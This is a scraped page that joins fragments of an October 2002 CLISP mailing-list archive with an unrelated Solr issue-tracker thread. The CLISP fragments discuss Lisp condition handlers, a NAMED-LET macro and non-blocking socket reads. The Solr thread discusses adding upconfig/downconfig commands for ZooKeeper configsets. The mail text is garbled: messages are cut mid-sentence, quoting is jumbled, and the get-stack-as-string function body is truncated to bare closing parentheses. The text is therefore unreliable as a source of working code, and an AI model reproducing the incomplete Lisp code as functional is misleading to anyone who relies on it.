restart in one of various ways. Moreover, it makes perfect sense for a
handler function to just return; by doing so it declines to handle
the error, creating an opportunity for the error search to continue,
without any unwinding having taken place which would throw away useful
information.
With HANDLER-CASE, you completely ignore restarts; in effect you
provide your own restart in the form of the implicit non-local exit.
>> I would still like to take snapshot of the stack, _before_ it's
> That's the difference between HANDLER-BIND and HANDLER-CASE.
Got it, thanks. just what I wanted. My call stack is now getting
(approximately) displayed, so I won't go back to perl or Java :)
Hello Sam,
Friday, October 04, 2002, 11:32:47 PM, you wrote:
> We already have READ-CHAR-NO-HANG and READ-BYTE-NO-HANG, so, I think,
> READ-SEQUENCE-NO-HANG is the right name, if we really need it.
>>?)
At least you should then check for [WSA]EWOULDBLOCK error in all reads
and writes. send() also can return less than data length supplied.
Maybe there is something else, need to look into the code. I'm just
saying it's not enough just to put a socket in nonblocking mode - need
to check all the code to handle it (FIXME).
Next, to get rid of WSACancelBlockingCall I wanted to make all sockets
nonblocking and emulate blocking with select() loops. It is possible
(FIXME).
So maybe make a socket-stream option BLOCKING and use it in that
select loops and in READ-SEQUENCE ?
Advantages:
1. can be queried (AFAIK blocking mode of socket can't be checked)
so READ-SEQUENCE can determine how to behave.
2. Lowlevel code handling just one socket mode, simpler.
3. no WSACancelBlockingCall.
--
Best regards,
Arseny
> From: "Dave Richards" <dave@...>
> X-Priority: 3 (Normal)
> X-MSMail-Priority: Normal
> Importance: Normal
> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300
> X-OriginalArrivalTime: 04 Oct 2002 04:25:29.0250 (UTC) FILETIME=[11FA2820:01C26B5E]
> Sender: clisp-list-admin@...
> X-Original-Date: Thu, 3 Oct 2002 21:25:27 -0700
> Date: Thu, 3 Oct 2002 21:25:27 -0700
> X-UIDL: NJo"!!g5!!RP/!!JL<"!
>
>.
ANSI CL does not provide it. However, it is just one macro away.
(defmacro named-let (name bindings &body forms)
`(labels ((,name ,(mapcar #'first bindings)
,@forms))
(,name ,@(mapcar #'second bindings))))
Your example will become
(named-let looping ((x 1))
(when (> x 10)
(return-from loop 1234))
(print x)
(looping (1+ x)))
Note that it is not a good thing to name the NAMED-LET "LOOP" in
CL (hence the LOOPING), as you may have some "real" call to the CL
LOOP macro in the body. This should come to no surprise to the
schemer accustomed at single namespace, no packages environments.
Just to be paranoid
(defmacro named-let (name bindings &body forms)
(when (string-equal name "LOOP")
(warn "NAMED-LET called with name \"LOOP\":~@
this may conflict with the ANSI LOOP macro."))
`(labels ((,name ,(mapcar #'first bindings)
,@forms))
(,name ,@(mapcar #'second bindings))))'.
John K. Hinsdale wrote:
's the difference between HANDLER-BIND and HANDLER-CASE.
Regards,
Jorg Hohle.
>> I'm writing a Web CGI app in CLISP and at certain points where an
>> error is signaled I would like to display the eval/call stack on the
> please look at reploop.lisp - you need to bind some variable &c...
OK, figured it out; thanks. FYI I ended up w/ the code at the
bottom. It will scan the stack at the point the error was raised and
list all the APPLY frames, plus the outermost EVAL frame (which should
be the one that rased the error). It seems to work for me, and gives
me mostly what I want - to be able to see immediately on my Web error
page and log file roughly where things were. Seeing the function
names I can quickly enough get to the places in the source files.
One problem I'm still having: in order for me to to use the thingy
below, I have to call it *myself* at the point of error, e.g.,
(when bad-situation
(error "Ooops: ~A" (get-stack-as-string)))
That's fine, however, what if underlying Lisp is throwing the error? aside, having this is 100 times better than what I had before (no
stack).
> this is one of the places that __really__ need work. any volunteers?
Compiled-in debug info (source file, position-in-file) would be great,
as it would lead one right to the line of source, and also do the
"right thing" for macro expansions - take you back to the macro
definition, not just show the expansion. This compiled-in info should
probably be designed anticipating its role in all the future things
that might use it: source-level debugger, profiler, and test-coverage
tool. I'll volunteer after I'm done learning Lisp :)
OK, here's that code:
; GET-STACK-AS-STRING - Get the call stack as a string
(defun get-stack-as-string (&optional (nskip 0))
"Get the call stack as a string, useful for inclusion in error
messages in batch or Web programs. Optional arg skips over N initial
frames that may be on the stack as part of calling this routine,
so as to get to the frame that \"really\" caused the error."
)))))
---
John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA
hin@... | | +1 914 631 4690
We already have READ-CHAR-NO-HANG and READ-BYTE-NO-HANG, so, I think,
READ-SEQUENCE-NO-HANG is the right name, if we really need it.
> * In message <15771.35198.890395.898283@...>
> * On the subject of "Re: FFI - Creating c-places in LISP? -> READ-SOME-SEQUENCE"
> * Sent on Thu, 3 Oct 2002 02:04:14 +0200 (CEST)
> * Honorable Bruno Haible <haible@...> writes:
>
>?)
Alternatively, READ-SEQUENCE-NO-HANG may just put the socket into
non-blocking mode before the actual input call and then put it back
into the blocking mode.
--
Sam Steingold () running RedHat7.3 GNU/Linux
<> <> <>
<> <>
Our business is run on trust. We trust you will pay in advance.
Bruno Haible wrote:
>This is not a well-defined description of some semantics, because a
>single read() on a BSD system is not the same thing as a single read()
>on a SysV system.
That's why I talked about the pragmatics of the function, not the semantics :-)
BTW, I still prefer the name read-partial or read-some over read-once, because it describes *what* it does, instead of *how* it does it.
>On SysV, read() can return with a "short read"
>[...] Whereas on BSD systems,
>your READ-BYTE-SEQUENCE-ONCE function will behave just like
>READ-BYTE-SEQUENCE.
Did I understand you correctly: on BSD (e.g. old SunOS, not Solaris), read() would always fill up the full array and therefore delay (when in blocking mode)?
Then obviously, my suggestion and my scenario for threaded servers in blocking mode wouldn't apply.
Dave Richards wrote:
>The reason it was unsafe to trust this was because there
>were implementation of select() (Linux used to be one of them) that would
>falsely select() true when read() would block.
So that's another (or the same?) source of problems.
Both of you seem to state that without non-blocking sockets, one cannot have, on all systems (where CLISP runs on), a read() (or at least a socket recv()) that's guaranteed not to block, even when preceeded by select().
Don wrote:
> > they call read/write just once, and if that blocks, they do too.
>This is exactly what I DON'T want!
>For what I DO want the name NONBLOCKING seems very appropriate.
THe assumption (of apparently Sam and) I was that, if *prefixed by select(), it would not block.
That would have been very nice to use IMHO, but Dave says there are (or were) systems where this doesn't (or didn't) work.
Don wrote:
>(I don't want to waste all day with select saying ready and read/write
>doing nothing.)
That's why my idea was to use blocking mode, so that at least one call to read/write be executed, resulting in something read/written. I wished for strict monotonic behaviour, instead of possible polling.
Me too, I wanted no polling. I wanted strict monotonic behaviour in mathematic terms. I thought this could be achieved still using a combination of blocking sockets and select(). It seems, through Bruno's and Dave's comments, that this is not achievable on all platforms.
Regards,
Jorg Hohle.
Hi,
>Scheme has a construct called a named let,
> This was a very elegant
>and tight construct for recursive loops, e.g.:
Strange. While in CL, I never ever missed Scheme's named let, while in =
Scheme the programmer often has to resort to it (need recursion for =
iteration).
You may wish to look at the ITERATE macro (probably need to peek at =
Cliki), which I once thought would be worthwhile to use. It looks very =
similar to the named let.
However iterate is a little dangerous in maintenance, because when you =
modify your code and the iterate call is not in a tail position =
anymore, strange things may happen. Tim Bradshaw once explained in cll =
in similarly why he had stopped using ITERATE.
I just feel that CL has enough looping constructs that named-let for =
iteration is not needed (by me). A named let for recursive tree descent =
may be interesting though, but that's not iteration any more, which is =
what you asked for.
Obviously it depends on one's daily programming style.
Regards,
J=F6rg H=F6hle..
Thanks!
Dave
New includes. | http://sourceforge.net/p/clisp/mailman/clisp-list/?viewmonth=200210&viewday=4 | CC-MAIN-2015-40 | refinedweb | 1,890 | 71.55 |
This is the mail archive of the gdb-patches@sourceware.org mailing list for the GDB project.
Hello everyone, Just a reminder that we're about one week away our tentative 7.10.1 release date. It has been a very quiet branch; in fact, this must be one of the quietest ones ever since I started as Release Manager. Everyone must have done a fantastic job getting 7.10 ready! For now, the only fixes we have since 7.10 are: - PR remote/18965 (new vforkdone stop reply should indicate parent process ID) - PR gdb/18957 (build failure in linux-namespaces.c due to setns static declaration) FYI: I might be a little late by a few days producing that release, as I will be fairly busy all of next week. But I'll try to squeeze it in. Cheers, -- Joel | http://www.sourceware.org/ml/gdb-patches/2015-11/msg00534.html | CC-MAIN-2019-43 | refinedweb | 142 | 75.3 |
LWP_CREATE(3L) LWP_CREATE(3L)
NAME
lwp_create, lwp_destroy, SAMETHREAD, pod_setexit, pod_getexit, pod_exit
- LWP thread creation and destruction primitives
SYNOPSIS
#include <<lwp/lwp.h>>
#include <<lwp/stackdep.h>>
int lwp_create(tid, func, prio, flags, stack, nargs, arg1, ..., argn)
thread_t *tid;
void (*func)();
int prio;
int flags;
stkalign_t *stack;
int nargs;
int arg1, ..., argn;
int lwp_destroy(tid)
thread_t tid;
void pod_setexit(status)
int status;
int pod_getexit(status)
int status;
void pod_exit(status)
int status
SAMETHREAD(t1, t2)
DESCRIPTION
lwp_create() creates a lightweight process which starts at address func
and has stack segment stack. If stack is NULL, the thread is created
in a suspended state (see below) and no stack or pc is bound to the
thread. prio is the scheduling priority of the thread (higher priori-
ties are favored by the scheduler). The identity of the new thread is
filled in the reference parameter tid. flags describes some options on
the new thread. LWPSUSPEND creates the thread in suspended state (see
lwp_yield(3L)). LWPNOLASTRITES will disable the LASTRITES agent mes-
sage when the thread dies. The default (0) is to create the thread in
running state with LASTRITES reporting enabled. LWPSERVER indicates
that a thread is only viable as long as non-LWPSERVER threads are
alive. The pod will terminate if the only living threads are marked
LWPSERVER and blocked on a lwp resource (for instance, waiting for a
message to be sent). nargs is the number (0 or more) of simple-type
(int) arguments supplied to the thread.
The first time a lwp primitive is used, the lwp library automatically
converts the caller (i.e., main) into a thread with the highest avail-
able scheduling priority (see pod_getmaxpri(3L)). The identity of this
thread can be retrieved using lwp_self (see lwp_status(3L)). This
thread has the normal SunOS stack given to any forked process.
Scheduling is, by default, non-preemptive within a priority, and within
a priority, threads enter the run queue on a FIFO basis (that is, when-
ever a thread becomes eligible to run, it goes to the end of the run
queue of its particular priority). Thus, a thread continues to run
until it voluntarily relinquishes control or an event (including thread
creation) occurs to enable a higher priority thread. Some primitives
may cause the current thread to block, in which case the unblocked
thread with the highest priority runs next. When several threads are
created with the same priority, they are queued for execution in the
order of creation. This order may not be preserved as threads yield
and block within a priority. If an agent owned by a thread with a
higher priority is invoked, that thread will preempt the currently run-
ning one.
There is no concept of ancestry in threads: the creator of a thread has
no special relation to the thread it created. When all threads have
died, the pod terminates.
lwp_destroy() is a way to explicitly terminate a thread or agent
(instead of having an executing thread "fall though", which also termi-
nates the thread). tid specifies the id of the thread or agent to be
terminated. If tid is SELF, the invoking thread is destroyed. Upon
termination, the resources (messages, monitor locks, agents) owned by
the thread are released, in some cases resulting in another thread
being notified of the death of its peer (by having a blocking primitive
become unblocked with an error indication). A thread may terminate
itself explicitly, although self-destruction is automatic when it
returns from the procedure specified in the lwp_create() primitive.
pod_setexit() sets the exit status for a pod. This value will be
returned to the parent process of the pod when the pod dies (default is
0). exit(3) terminates the current thread, using the argument supplied
to exit to set the current value of the exit status. on_exit(3) estab-
lishes an action that will be taken when the entire pod terminates.
pod_exit() is available to terminate the pod immediately with the final
actions established by on_exit. If you wish to terminate the pod imme-
diately, pod_exit() or exit(2V) should be used.
pod_getexit() returns the current value of the pod's exit status.
SAMETHREAD() is a convenient predicate used to compare two threads for
equality.
RETURN VALUES
lwp_create(), and lwp_destroy() return:
0 on success.
-1 on failure.
pod_getexit() returns the current exit status of the pod.
ERRORS
lwp_create() will fail if one or more of the following are true:
LE_ILLPRIO Illegal priority.
LE_INVALIDARG Too many arguments (> 512).
LE_NOROOM Unable to allocate memory for thread context.
lwp_destroy() will fail if one or more of the following are true:
LE_NONEXIST Attempt to destroy a thread or agent that does not
exist.
SEE ALSO
exit(2V), exit(3), lwp_yield(3L), on_exit(3), pod_getmaxpri(3L)
WARNINGS
Some special threads may be created silently by the lwp library. These
include an idle thread that runs when no other activity is going on,
and a reaper thread that frees stacks allocated by lwp_newstk. These
special threads will show up in status calls. A pod will terminate if
these special threads are the only ones extant.
21 January 1990 LWP_CREATE(3L) | http://modman.unixdev.net/?sektion=3&page=pod_setexit&manpath=SunOS-4.1.3 | CC-MAIN-2017-30 | refinedweb | 852 | 55.44 |
How to Install Hadoop on Centos | Cloudera Hadoop Installation
Keeping you updated with latest technology trends, Join DataFlair on Telegram
1. Install Hadoop on CentOS: Objective
This is steps by steps tutorial to install Hadoop on CentOS, configure and run Hadoop cluster on CentOS. This guide explains how to step by step install Hadoop on CentOS or we can say, deploy a single node cluster on CentOS, single node Hadoop cluster setup is also called as pseudo-distributed mode installation. Once the Cloudera installation is done you can play with Hadoop and its components like MapReduce for data processing and HDFS for data storage.
Learn how to install Cloudera Hadoop CDH5 on CentOS.
2. Steps to Install Cloudera Hadoop on CentOS
Follow the steps given below to install Hadoop on CentOS-
2.1. Install Java
Go to your home directory and download the Java using the below commands:
[php]cd ~
cd /home/saurabhpandey/Downloads
tar xzf jdk-8u101-linux-x64.tar.gz
mv /home/saurabhpandey/Downloads/jdk1.8.0_101 /home/saurabhpandey[/php]
I. Install Java with Alternatives
In order to install Java we will use alternatives command which is available in chkconfig package.
[php]cd ~
cd jdk1.8.0_101/
sudo alternatives –install /usr/bin/java java /home/saurabhpandey/jdk1.8.0_101/bin/java 2
[sudo] password for saurabhpandey:
sudo alternatives –config java
[sudo] password for saurabhpandey:[/php]
There are 3 programs which provide ‘java’.
Selection Command ----------------------------------------------- *+ 1 /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.71-2.b15.el7_2.x86_64/jre/bin/java 2 /usr/lib/jvm/java-1.7.0-openjdk-1.7.0.95-2.6.4.0.el7_2.x86_64/jre/bin/java 3 /home/saurabhpandey/jdk1.8.0_101/bin/java
Type selection number: 3, Hence Java 8 gets successfully installed on your system.
Install Java alternatives to Install Hadoop on CentOS
II. Configuring Environment Variables
In order to configure Java environment variables we need to use the following commands:
a. Setup JAVA_HOME Variable
[php]export JAVA_HOME=/home/saurabhpandey/Downloads/jdk1.8.0_101[/php]
b. Setup JRE_HOME Variable
[php]export JRE_HOME=/home/saurabhpandey/Downloads/jdk1.8.0_101/jre[/php]
c. Setup PATH Variable
[php]export PATH=$PATH:/home/saurabhpandey/Downloads/jdk1.8.0_101/bin:/home/saurabhpandey/Downloads/jdk1.8.0_101/jre/bin[/php]
2.2. Install Hadoop on CentOS
I. Configure Password Less SSH
In order to set up key based ssh, we need to execute following commands:
[php]ssh-keygen -t rsa[/php]
Generating public/private rsa key pair. Enter file in which to save the key (/home/hadoop/.ssh/id_rsa): “Press Enter” Created directory '/home/hadoop/.ssh'. Enter passphrase (empty for no passphrase): “Press Enter” Enter same passphrase again: “Press Enter”
[php]cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
chmod 0600 ~/.ssh/authorized_keys[/php]
Install Hadoop on CentOS to Configure Password Less SSH
In order to verify key based login, we need to execute below command. But, it should not ask for a password.
[php]ssh localhost[/php]
II. Download Hadoop
Now copy Hadoop to Home directory of your system once it gets downloaded.
III. Untar Hadoop File
All the contents of compressed Hadoop file package can be extracted using the below command:
[php]tar xzf hadoop-2.6.0-cdh5.5.0.tar.gz[/php]
IV. Setup Configuration Files
a. Edit .bashrc
Now makes changes in environment file “.bashrc” present in your system home directory. We can make changes in this file by executing: “$ nano -/.bashrc” command and there we need to insert following parameters at the end:
[php]export HADOOP_HOME=/home/saurabhpandey/hadoop-2.6.0-cdh5.5[/php]
Setup configuration files to Install Hadoop on CentOS
Note: Don’t forget to take care of entering the correct path. “/home/saurabhpandey/hadoop-2.6.0-cdh5.5.0” this is the path of my home directory. You can get your path by using “$pwd” command.
After adding above parameters save this file. Press “Ctrl+X” on your keyboard.
In order to make environment variables effective we need to execute below command:
[php]source .bashrc[/php]
b. Edit hadoop-env.sh
Now makes changes in Hadoop configuration file “hadoop-env.sh” which is present in configuration directory (HADOOP_HOME/etc/hadoop) and in that file we need to set JAVA_HOME.
[php]cd hadoop-2.6.0-cdh5.5.0/
cd etc
cd hadoop
nano hadoop-env.sh[/php]
We need to change the path of JAVA_HOME on this file as:
[php]export JAVA_HOME=<path-to-the-root-of-your-Java-installation> (eg: /home/saurabhpandey/Downloads/jdk1.8.0_101/)[/php]
Install Hadoop on CentOS – Edit hadoop-env.sh
After changing the path of JAVA_HOME save this file. Press “Ctrl+X” on your keyboard.
Note: “/home/saurabhpandey/Downloads/jdk1.8.0_101/” is the path of Java on my system. Enter your path where your java file is present.
c. Edit core-site.xml
Now makes changes in Hadoop configuration file “core-site.xml” which is present in configuration directory (HADOOP_HOME/etc/hadoop) by executing the below command:
[php]nano core-site.xml[/php]
And inside it add the following entries between <configuration> </configuration> present at the end of this file:
[php]
<property>
<name>fs.default.name</name>
<value>hdfs://localhost:9000</value>
</property>
[/php]
Install Hadoop on CentOS – Edit core-site
After adding above parameters save this file. Press “Ctrl+X” on your keyboard.
e. Edit hdfs-site.xml
Now we need to make changes in Hadoop configuration file hdfs-site.xml (which is located in HADOOP_HOME/etc/hadoop) by executing the below command:
[php]nano hdfs-site.xml[/php]
And inside it add the following entries between <configuration> </configuration> present at the end of this file:
[php]
<property>
<name>dfs.replication</name>
<value>1</value>
</property>[/php]
Install Hadoop on CentOS – Edit hdfs-site.xml
Here we are setting Replication factor to 1, as it is a single node cluster.
After adding above parameters save this file. Press “Ctrl+X” on your keyboard.
f. Edit mapred-site.xml
In order to edit mapred-site.xml file we need to first create a copy of file mapred-site.xml.template.
A copy of this file can be created using the following command:
[php]cp mapred-site.xml.template mapred-site.xml[/php]
We will edit the mapred-site.xml file by using the following command:
[php]nano mapred-site.xml[/php]
And inside it add the following entries between <configuration> </configuration> present at the end of this file:
[php]
<property>
<name>mapreduce.framework.name</name>
<value>yarn</value>
</property>[/php]
Install Hadoop on Cent OS – Edit mapred-site.xml
After adding above parameters save this file. Press “Ctrl+X” on your keyboard.
g. Edit yarn-site.xml
Now we need to make changes in Hadoop configuration file yarn-site.xml (which is located in HADOOP_HOME/etc/hadoop) by executing the below command:
[php]nano yarn-site.xml[/php]
And inside it add the following entries between <configuration> </configuration>]
Hadoop installation Steps – Edit yarn-site.xml
After adding above parameters save this file. Press “Ctrl+X” on your keyboard.
V. Starting the Hadoop Cluster
a. NameNode Formatting
[php]hdfs namenode -format[/php]
Cloudera Hadoop Installation – NameNode formatting
NOTE: After we install hadoop on CentOS, we perform this activity only once otherwise all the data will get deleted and namenode would be assigned some other namespaceId. In case namenode and datanode Id’s doesn’t matches, then the datanode daemons will not start while starting the daemons.
b. Start HDFS Daemons
[php]start-dfs.sh[/php]
c. Start YARN Daemons
[php]start-yarn.sh[/php]
2.3. Checking Installation
In order to check whether Hadoop is running successfully or not open the below address on any of your browsers:
Checking Install Hadoop on CentOS
If this output appears means you have successfully installed Hadoop in CentOS. After Hadoop Installation studies this guide to learn how Hadoop works.
See Also-
- HDFS Commands
- HDFS Data read operation and Data write operation
- MapReduce internal Data Flow
- Yarn Resource Manager
Hope you This tutorial on Install Hadoop on CentOS was to you. If you have any queries on How to install Hadoop on CentOS drop a comment below and we will get back to you.
Hello There. I found your blog using msn. This is a very well written article. I have successfully installed and run Hadoop.
I’ll be sure to bookmark it and come back to read more. Thanks for the post.
Hello there, You’ve done an incredible job. I’ll definitely digg it and
for my part recommend to my friends. I am sure they’ll be benefited from this website.!
Thanks for this. You always have some great posts. I shared this on Facebook and my followers loved it.
Keep the the good work!
Installed hadoop on Redhat RHEL 7 using your article, nice presentation.
Are these same steps valid for Ubuntu as well ?
Great article. I have installed hadoop in like butter….
Thanks a ton
hello!,I like your writing so much! percentage we remain in contact extra approximately your article
I require a professional in this particular space to eliminate my problem.
Maybe that’s you! Having a look forward to peer you.
Thanks
Hurrah! Finally I got a blog where I have the capacity to actually take helpful
data concerning my study and knowledge. | https://data-flair.training/blogs/install-hadoop-on-centos/ | CC-MAIN-2020-45 | refinedweb | 1,550 | 51.34 |
Quoth Maurcio <briqueabraque at yahoo.com>: |. Eh! probably not wrong - the problem is not how the data looks, but where it is. If it were my problem, I would try a wrapper function that returns the same value as an argument - e.g., if you have struct X f(), then void f_(struct X *x) { *x = f(); } ... so your wrapper will look like ccall "f_" f :: Ptr X -> IO () instead of ccall "f" f :: IO X Ironically, that's actually just what the original function is doing - cf. "struct return convention", where the caller allocates space and passes a pointer as a hidden parameter. But you can't just declare it that way, because the original f bumps the stack pointer on return (you may see "ret $4" in the assembly code, on Intel hardware) Try to compile the wrapper with the same compiler that compiled the original function. I'm really just guessing that your Haskell compiler doesn't understand or perfectly handle this particular C wart. If my suggestion doesn't work, I may have guessed wrong. Donn | http://www.haskell.org/pipermail/haskell-cafe/2008-November/050776.html | CC-MAIN-2014-15 | refinedweb | 180 | 69.01 |
quickcheck-higherorder
QuickCheck extension for higher-order properties
See all snapshots
quickcheck-higherorder appears in
quickcheck-higherorder-0.1.0.0@sha256:7264de7245f840b780fbdab67aa5becc9514a8ad86861504a03052b99cbd8ef6,2238
Module documentation for 0.1.0.0
- Test
- Test.QuickCheck
- Test.QuickCheck.HigherOrder
Higher-order QuickCheck
A QuickCheck extension for properties of higher-order values.
Summary
QuickCheck has a cute trick to implicitly convert functions
Thing -> Bool or
Thing -> Gen Bool to testable properties,
provided
Thing is an instance of
Arbitrary and
Show,
i.e., there is a random generator, a shrinker, and a printer for
Thing.
Sadly, those constraints limit the range of types that
Thing can be.
In particular, they rule out functions and other values of “infinite size”.
This library, quickcheck-higherorder, lifts that limitation, generalizing that technique to arbitrary types, and provides other related quality-of-life improvements for property-based test suites.
The key idea is to separate the
Thing manipulated by the application under
test, of arbitrary structure, from its representation, which is manipulated
by QuickCheck and needs to be “concrete” enough to be possible to generate,
shrink, and show.
Constructible types
The
Constructible type class relates types
a to representations
Repr a from which their values can be constructed.
Constraints for
Arbitrary and
Show are thus attached to those
representations instead of the raw type that will be used in properties.
class (Arbitrary (Repr a), Show (Repr a)) => Constructible a where type Repr a :: Type fromRepr :: Repr a -> a
To illustrate what it enables, here’s an example of higher-order property:
prop_bool :: (Bool -> Bool) -> Bool -> Property prop_bool f x = f (f (f x)) === f x
In vanilla QuickCheck, it needs a little wrapping to actually run it:
main :: IO () main = quickCheck (\(Fn f) x -> prop_bool f x)
The simpler expression
quickCheck prop_bool would not typecheck
because
Bool -> Bool is not an instance of
Arbitrary nor
Show.
With “higher-order” QuickCheck, that wrapping performed by
Fn is instead
taken care of by the
Constructible class, so we can write simply:
main :: IO () main = quickCheck' prop_bool
This is especially convenient when the function type is not
directly exposed in the type of the property (as in
prop_bool),
but may be hidden inside various data types or newtypes.
Testable equality
In a similar vein, the
Eq class is limited to types with
decidable equality,
which typically requires them to have values of “finite size”.
Most notably, the type of functions
a -> b cannot be an instance of
Eq in
general.
But testing can still be effective with a weaker constraint, dubbed testable equality. To compare two functions, we can generate some random arguments and compare their images. That is useful even if we can’t cover the whole domain:
if we find two inputs with distinct outputs, then the two functions are definitely not equal, and we now have a very concrete counterexample to contemplate;
if we don’t find any difference, then we can’t conclude for sure, but:
- we can always try harder (more inputs, or rerun the whole property from scratch);
- in some situations, such as implementations of algebraic structures, bugs cause extremely obvious inequalities. If only we would look at them. The point of this new feature is to lower the bar for testing equations between higher-order values in the first place.
This package introduces a new type class
TestEq, for testable equality.
class TestEq a where (=?) :: a -> a -> Property
The codomain being
Property offers some notable capabilities:
as explained earlier, we can use randomness to choose finite subsets of infinite values (such as functions) to compare;
we can also provide detailed context in the case of failure, by reporting the observations which lead to unequal outcomes.
For example, we can rewrite
prop_bool as an algebraic property of functions
using
TestEq:
prop_bool :: (Bool -> Bool) -> Property prop_bool f = (f . f . f) =? f
More types of properties
Many common properties are quite simple, like
prop_bool.
However, QuickCheck’s way of declaring properties as functions with result type
Property introduces some unexpected complexity in the types.
For example, try generalizing the property
prop_bool above to
arbitrary types instead of
Bool
(so it’s no longer valid as a property, of course).
Since we use testable equality of functions
a -> a, we incur constraints that
the domain must be
Constructible, and the codomain itself must have
testable equality.
prop_fun :: (Constructible a, TestEq a) => (a -> a) -> Property prop_fun f = (f . f . f) =? f
In my opinion, this type tells both too much and too little.
Too much, because the constraints leak details about the very specific
way in which the comparison is performed. Too little, because a
Property
can do a lot of things besides testing the equality of two values;
in fact that is one cause for the previous concern.
A more precise formulation is the following:
prop_fun :: (a -> a) -> Equation (a -> a) prop_fun f = (f . f . f) :=: f
This does not actually do the comparison, but exposes just the necessary
amount of information to do it in whatever way one deems appropriate.
Indeed,
Equation is simply a type of pairs:
data Equation a = a :=: a
It is equipped with a
Testable instance that will require a
TestEq
constraint indirectly at call sites only.
Example
import Test.QuickCheck (quickCheck) import Test.QuickCheck.HigherOrder (property', Equation((:=:)), CoArbitrary) import Control.Monad.Cont (Cont, ContT(..), callCC) -- Example property callCC_bind :: forall r a. Cont r a -> Equation (Cont r a) callCC_bind m = callCC ((>>=) m) :=: m main :: IO () main = quickCheck' (callCC_bind @Int @Int) -- Newtype boilerplate import Test.QuickCheck (Gen) import Test.QuickCheck.HigherOrder (CoArbitrary, TestEq(..), Constructible(..)) -- Constructible instances instance (CoArbitrary Gen (m r), Constructible a, Constructible (m r)) => Constructible (ContT r m a) where type Repr (ContT r m a) = Repr ((a -> m r) -> m r) fromRepr = ContT . fromRepr instance (TestEq ((a -> m r) -> m r)) => TestEq (ContT r m a) where ContT f =? ContT g = f =? g | https://www.stackage.org/lts-18.8/package/quickcheck-higherorder-0.1.0.0 | CC-MAIN-2022-33 | refinedweb | 973 | 59.84 |
sequence_slice¶
- paddle.static.nn. sequence_slice ( input, offset, length, name=None ) [source]
- api_attr
Static Graph
Sequence Slice Layer
The layer crops a subsequence from given sequence with given start offset and subsequence length.
It only supports sequence data (LoDTensor with lod_level equal to 1).
- Case: Given the input Variable **input**: input.data = [[a1, a2], [b1, b2], [c1, c2], [d1, d2], [e1, e2]], input.lod = [[3, 2]], input.dims = (5, 2), with offset.data = [[0], [1]] and length.data = [[2], [1]], the output Variable will be out.data = [[a1, a2], [b1, b2], [e1, e2]], out.lod = [[2, 1]], out.dims = (3, 2).
Note
The first dimension size of input, offset and length should be equal. The offset should start from 0.
- Parameters
input (Variable) – LoDTensor, The input Variable which consists of the complete sequences.The data type can be float32, float64, int32 or int64
offset (Variable) – LoDTensor, The offset to slice each sequence. The data type is int32 or int64.
length (Variable) – LoDTensor, The length of each subsequence. The data type is int32 or int64.
name (str|None) – The default value is None. Normally there is no need for user to set this property. For more information, please refer to Name
- Returns
The output subsequences.
- Return type
Variable
Examples
import paddle paddle.enable_static() import numpy as np seqs = paddle.static.data(name='x', shape=[10, 5], dtype='float32', lod_level=1) offset = paddle.assign(np.array([[0, 1]]).astype("int32")) length = paddle.assign(np.array([[2, 1]]).astype("int32")) subseqs = paddle.static.nn.sequence_slice(input=seqs, offset=offset, length=length) | https://www.paddlepaddle.org.cn/documentation/docs/en/api/paddle/static/nn/sequence_slice_en.html | CC-MAIN-2021-25 | refinedweb | 257 | 54.9 |
On 15/07/10 15:21, Jim Meyering wrote: > Pádraig Brady wrote: >> I. > > Thanks. Making it a module seems like a good idea. > Adding tests would be nice (though hardly urgent!), so that > eventually when/if it makes it into gnulib, using gnulib-tool > to run tests will exercise the interfaces. > >> Subject: [PATCH] fadvise: new module providing a simpler interface to >> posix_fadvise >> >> + >> +void >> +fdadvise (int fd, off_t offset, off_t len, int advice) >> +{ >> +#if HAVE_POSIX_FADVISE >> + ignore_value (posix_fadvise (fd, offset, len, advice)); >> +#endif >> +} >> + >> +void >> +fadvise (FILE *fp, int advice) >> +{ >> + if (fp) >> + fdadvise (fileno (fp), 0, 0, advice); > > Should these new functions fail with EINVAL when ADVICE is unrecognized? Well we don't check for that at the moment. Also EINVAL is returned on linux when a pipe or fifo is passed, and it might be nice to use these functions unconditionally. There is the chance that one might mess up the advice and thus introduce noops, but given the simplicity of the interface, this is unlikely. I'll just leave them as void for the moment. cheers, Pádraig. | http://lists.gnu.org/archive/html/coreutils/2010-07/msg00009.html | CC-MAIN-2015-32 | refinedweb | 176 | 69.31 |
Details
- Type:
Improvement
- Status: Closed
- Priority:
Minor
- Resolution: Fixed
- Affects Version/s: 5.4, 6.0
-
- Component/s: scripts and tools
- Labels:None
Description
It would be convenient to be able to upload and download arbitrary configsets to Zookeeper.
This might be the last thing we need before not requiring users be aware of zkcli, which is awkward.
Issue Links
Activity
- All
- Work Log
- History
- Activity
- Transitions
Hmmm, got some scope creep in here because what this patch also does is add in a managed_schema_configs, which I'd really like to get into the 5.4 line. The point there is to have a convenient way to use the managed schema stuff without all the field guessing stuff.
At least the patch I'm about to put up actually puts up the managed_schema_configs that I reference in the scripts....
Opinions?
I think this is ready, much of it it copy/paste/change reproducing the pattern for the other commands.
I'm particularly interested in any comments Timothy Potter has.
This really does two things:
1> provides an upconfig and downconfig so we don't force the users to use zkcli or bootstrap options.
2> provides a managed schema configset that does not have the field guessing in it.
I'd actually like to get this in to 5.4 if there aren't too many objections, I'm guessing there'll be a re-spin. Especially because this in conjunction with the new admin API allows the managed schema to be used from the UI with or without the field guessing API.
Unless there are objections, I plan on committing this to at least trunk and 5x Tuesday or so, whether to also include it in 5.4 is another question.
Hi Erick,
2> provides a managed schema configset that does not have the field guessing in it.
With
SOLR-8131 ( which I plan on committing today ) all branch5x examples will explicitly use managed-schema . So basic schema will also be equivalent to the managed-only schema here? There will be less duplication of example configsets we ship with in that case.
Also I think we should not add this to 5.4 . If there not being another 5.x release a motive here? We could do a 5.5 release in early/mid January since 6.0 could be soon after that in that case
Having a schema sample that does not include the schemaless stuff is really important. Schemaless is fraught with danger, and whilst it is clever, and useful in a limited range of scenarios, we should not have it being the only managed schema sample config.
That said, this ticket is about upconfig/downconfig. I support the addition of these to bin/solr. It is a real pain to locate the zk-cli script and explain its need/etc.
Neither are bugs in 5.4.0 so should not be a part of that release. 5.5.0 could be released in 2 weeks time if we wanted to.
I don't think this should be committed w/o also including these new commands in bin\solr.cmd for our Windows users. I like Varun's idea of just having managed schema enabled in the existing configs, making managed_schema_configs == basic_configs ... but sounds like he's already handled that issue in another ticket.
